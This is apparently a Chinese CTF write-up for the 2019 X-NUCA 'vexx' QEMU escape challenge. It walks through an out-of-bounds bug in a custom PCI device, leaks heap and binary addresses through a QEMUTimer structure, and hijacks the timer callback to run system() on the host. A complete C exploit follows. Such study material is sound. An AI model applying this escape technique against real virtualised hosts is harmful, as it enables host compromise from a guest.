2019 xnuca pwn vexx

2019 xnuca pwn vexx
保护是全开的

首先来看启动文件

#!/bin/sh
./qemu-system-x86_64 -hda rootfs.ext2 -kernel bzImage -m 64M -append "console=ttyS0 root=/dev/sda oops=panic panic=1" -L ./pc-bios -netdev user,id=mynet0 -device rtl8139,netdev=mynet0 -nographic -device vexx -snapshot

设备的名字叫vexx
当然似乎还有个设备叫rtl8139
他是qemu-kvm中的网卡设备,不必多管

启动一下,用的是ubuntu20.04的环境
2019 xnuca pwn vexx发现缺几个库

sudo apt-get install libncurses5
sudo apt-get install libncursesw5

两个命令搞定
用户名root
密码goodluck
2019 xnuca pwn vexx

函数就这么一堆
2019 xnuca pwn vexx
基类初始化没啥好看的
2019 xnuca pwn vexx可以看到我们的两个id
2019 xnuca pwn vexx
可以找到对应设备的总线等信息。

重点先来看一下类对象初始化的realize
2019 xnuca pwn vexx
注册了两个mmio
2019 xnuca pwn vexx
最后两个成员也是两个结构体

重点还是来到两个read,两个write,还有cmb的一套对应mmio的read/write

我们一个一个分析
首先看mmio_read
2019 xnuca pwn vexx

然后是mmio_write
2019 xnuca pwn vexx

然后是pmio_write
2019 xnuca pwn vexx

然后是pmio_read
2019 xnuca pwn vexxpmio rw没啥。可以对三个变量进行读写。

那就再看看cmb rw

vexx_cmb_read
2019 xnuca pwn vexx

vexx_cmb_write

2019 xnuca pwn vexx
漏洞很清晰了
所以我们现在就是讨论如何利用漏洞。

我们要重点介绍一个结构体
首先我们要知道我们越界的位置在

VexxState结构体中的req成员
2019 xnuca pwn vexx
req成员是一个VexxRequest结构体

2019 xnuca pwn vexx
这个成员下面还有一个成员,VxeeDma结构体类型的

2019 xnuca pwn vexx
这里面有个成员,dma_timer
他是一个QEMUTimer_0结构体
2019 xnuca pwn vexx他又是QEMUTimer结构体的别称

我们要重点介绍的就是这个结构体

2019 xnuca pwn vexx
opaque指针指向VexxState的结构体的堆块,我们读它可以泄露堆地址
cb也是一个指针,指向我们的vexx_dma_timer函数,我们可以通过它泄露基地址。

然后呢在vexx_mmio_write里面有一条这样的调用链

2019 xnuca pwn vexx
timer_mod

2019 xnuca pwn vexx
timer_mod_ns

2019 xnuca pwn vexxtimerlist_notify

2019 xnuca pwn vexxcb(opaque)

所以我们只要把cat flag这种字符串写在req_buf中,再拿到req_buf地址。
然后覆盖cb为system_plt,覆盖opaque为req_buf地址
就可以getshell。

首先先拿到mmio pmio的地址
2019 xnuca pwn vexx这里可以拿到pmio的base地址

2019 xnuca pwn vexx
这样可以拿到mmio的地址跟大小。

具体哪个地址对应的是那个mmio
看这里
2019 xnuca pwn vexx
当然我们也可以通过/dev/mem文件,来访问
我们直接mmap/dev/mem到内存,然后对他访问来控制mmio。
raycp大佬这部分都写好了
我们直接用

exp用了raycp大佬的模板,而且主体部分也比较简单,没啥可写的,就抄来稍作解释。raycp大佬可太强了。

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>


uint32_t mmio_addr = 0xfebd6000;
uint32_t mmio_size = 0x1000;
uint32_t cmb_addr = 0xfebd0000;
uint32_t cmb_size = 0x4000;

unsigned char* mmio_mem;
unsigned char* cmb_mem;
uint32_t pmio_base=0x230;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
    int fd = open( dev, O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }

    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

    if ( !result ) {
        return 0;
    }

    close( fd );
    return result;
}

uint8_t mmio_read(uint32_t addr)
{
    return *((uint8_t*) (mmio_mem+addr));
}

void mmio_write(uint32_t addr, uint8_t value)
{
    *( (uint32_t *) (mmio_mem+addr) ) = value;
}


uint8_t cmb_read(uint32_t addr)
{
    return *((uint8_t*) (cmb_mem+addr));
}

void cmb_write(uint32_t addr, uint8_t value)
{
    *( (uint8_t *) (cmb_mem+addr) ) = value;
}

void pmio_write(uint32_t addr, uint32_t value)
{
    outb(value,addr);
}


uint8_t pmio_read(uint32_t addr)
{
    return (uint32_t)inb(addr);
}

void set_offset(uint32_t value)
{
    pmio_write(pmio_base+0x10, value);
}

void set_memorymode(uint32_t value)
{
    pmio_write(pmio_base+0x0, value);
}

uint8_t arbitrary_read(uint32_t offset)
{

    set_offset(offset);
    return cmb_read(0x100);
}

void arbitrary_write(uint32_t offset, uint8_t value)
{
    set_offset(offset);
    cmb_write(0x100, value);
}

void normal_write(uint32_t offset, uint8_t value)
{
    set_offset(offset);
    cmb_write(0x0, value);
}

int main(int argc, char *argv[])
{
    //这一部分就是利用/dev/mem直接写,比利用那个resource文件好使。
    system( "mknod -m 660 /dev/mem c 1 1" );
    mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
    if ( !mmio_mem ) {
        die("mmap mmio failed");
    }
    cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size );
    if ( !cmb_mem ) {
        die("mmap cmb mem failed");
    }

    // 想利用pmio就要先把io等级拉上来
    if (iopl(3) !=0 )
        die("I/O permission is not enough");

	  //泄露地址
    set_memorymode(1);
    uint64_t heap_addr=0,tmp;
    uint32_t i;
    for (i=0;i<8;i++) {
        tmp = arbitrary_read(0x40+i);
        heap_addr=heap_addr+(tmp<<(i*8));
    }
    printf("leaking heap address: 0x%lx\n",heap_addr);

    uint64_t pro_addr=0;
    for (i=0;i<8;i++) {
        tmp = arbitrary_read(0x38+i);
        pro_addr=pro_addr+(tmp<<(i*8));
    }
    printf("leaking pro address: 0x%lx\n",pro_addr);
    uint64_t pro_base= pro_addr-0x4DCF10;
    uint64_t system_plt=pro_base+0x2AB860;
    
    
    //三个任意写
    char *para="ls&&cat ./flag";
    for(i=0; i< strlen(para); i++) {
        normal_write(0x0+i,para[i]);
    }
    uint64_t para_addr=heap_addr+0xb90;
    for(i=0; i<8; i++) {
        arbitrary_write(0x38+i,((char*)&system_plt)[i]);
    }
    for(i=0; i<8; i++) {
        arbitrary_write(0x40+i, ((char*)&para_addr)[i]);
    }
    
    //最后触发
    mmio_write(0x98,1);
}
上一篇:[极客大挑战 2019]Upload


下一篇:Android多种方式实现相机圆形预览 看这一篇就够了,Android开发面试书籍